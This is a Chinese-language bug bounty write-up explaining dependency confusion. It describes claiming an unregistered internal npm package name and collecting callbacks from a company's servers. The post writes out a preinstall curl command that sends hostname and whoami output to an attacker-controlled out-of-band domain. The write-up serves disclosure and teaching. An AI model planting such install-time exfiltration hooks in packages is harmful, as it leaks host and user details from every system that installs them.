2,500 美元漏洞报告-通过未认领的 Node 包进行远程代码执行 (RCE)

admin 2025年2月27日22:52:45评论19 views字数 1053阅读3分30秒阅读模式

什么是依赖混淆?

依赖混淆是一种软件供应链漏洞,当公司的内部软件包被错误地从公共存储库(例如 npm)而不是其私有注册表下载时,就会发生这种情况。如果软件包管理器(如 npm、pip 或其他)默认从公共源提取,并且那里存在同名的软件包,就会发生这种情况。

在依赖项混淆攻击中,攻击者可以创建与公司内部软件包同名的恶意软件包,并将其发布到公共注册表。如果公司的系统从公共注册表中解析该软件包,它们可能会下载并执行攻击者的代码,从而导致远程代码执行 (RCE) 等安全风险。

2,500 美元漏洞报告-通过未认领的 Node 包进行远程代码执行 (RCE)

如何识别漏洞

在一次挖洞中,我检查了公司的一个 JavaScript 文件,发现它引用了存储在Node.js 包的/node_modules/@confidential-package-name中。这表明该公司正在使用内部 npm 包。我检查了这个内部包是否已在公共 npm 注册表上发布,结果发现它在 npm 上无人认领。

这种无人认领的状态表明任何人可以创建同名的包,并可能导致依赖混淆问题,因为欺骗公司系统从公共 npm 注册表而不是其内部源下载和执行代码。

漏洞如何被利用

为了确认风险,我使用与内部包相同的名称创建了一个恶意的 npm 包@confidential-package-name。然后,我将这个包发布到公共 npm 注册表,并嵌入一个旨在安装时自动执行的预安装脚本。

预安装脚本简单但有效:

curl  data-urlencode info=$(hostname && whoami)” http://<攻击者控制的域>.oast.fun

2,500 美元漏洞报告-通过未认领的 Node 包进行远程代码执行 (RCE)

该脚本会将安装包的服务器的主机名和用户信息发送到我控制的域。一旦包在 npm 上线,我就会耐心等待,在几小时到几天内,我开始收到来自公司生产和非生产环境的多个请求,确认他们的系统正在下载并执行恶意软件包

2,500 美元漏洞报告-通过未认领的 Node 包进行远程代码执行 (RCE)

请求包括主机名和用户名等详细信息.

2,500 美元漏洞报告-通过未认领的 Node 包进行远程代码执行 (RCE)

我秦始皇 打钱

在我控制的主机上收到超过 150 次 HTTP 和 DNS 查询后,我开始分析 IP 地址和从中检索的数据。我通过过滤掉已知的爬虫程序来整理列表,然后继续对所有剩余 IP 进行 WHOIS 查询,以检查是否有任何 IP 与公司的 IP 范围或其服务提供商相匹配。

分析完成后,我编写了报告。报告在同一天被分类(非常感谢 Raven_Bugcrowd 的快速分类!),一周之内,报告就被接受了。我获得了 2,500 美元的赏金——这是该特定程序的最高奖励。

2,500 美元漏洞报告-通过未认领的 Node 包进行远程代码执行 (RCE)

后台回复"枇杷哥的枇杷熟了吗" 免费领取 大模型 ATT&CK电子版

原文始发于微信公众号(黑伞安全):2,500 美元漏洞报告-通过未认领的 Node 包进行远程代码执行 (RCE)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月27日22:52:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2,500 美元漏洞报告-通过未认领的 Node 包进行远程代码执行 (RCE)https://cn-sec.com/archives/3778775.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息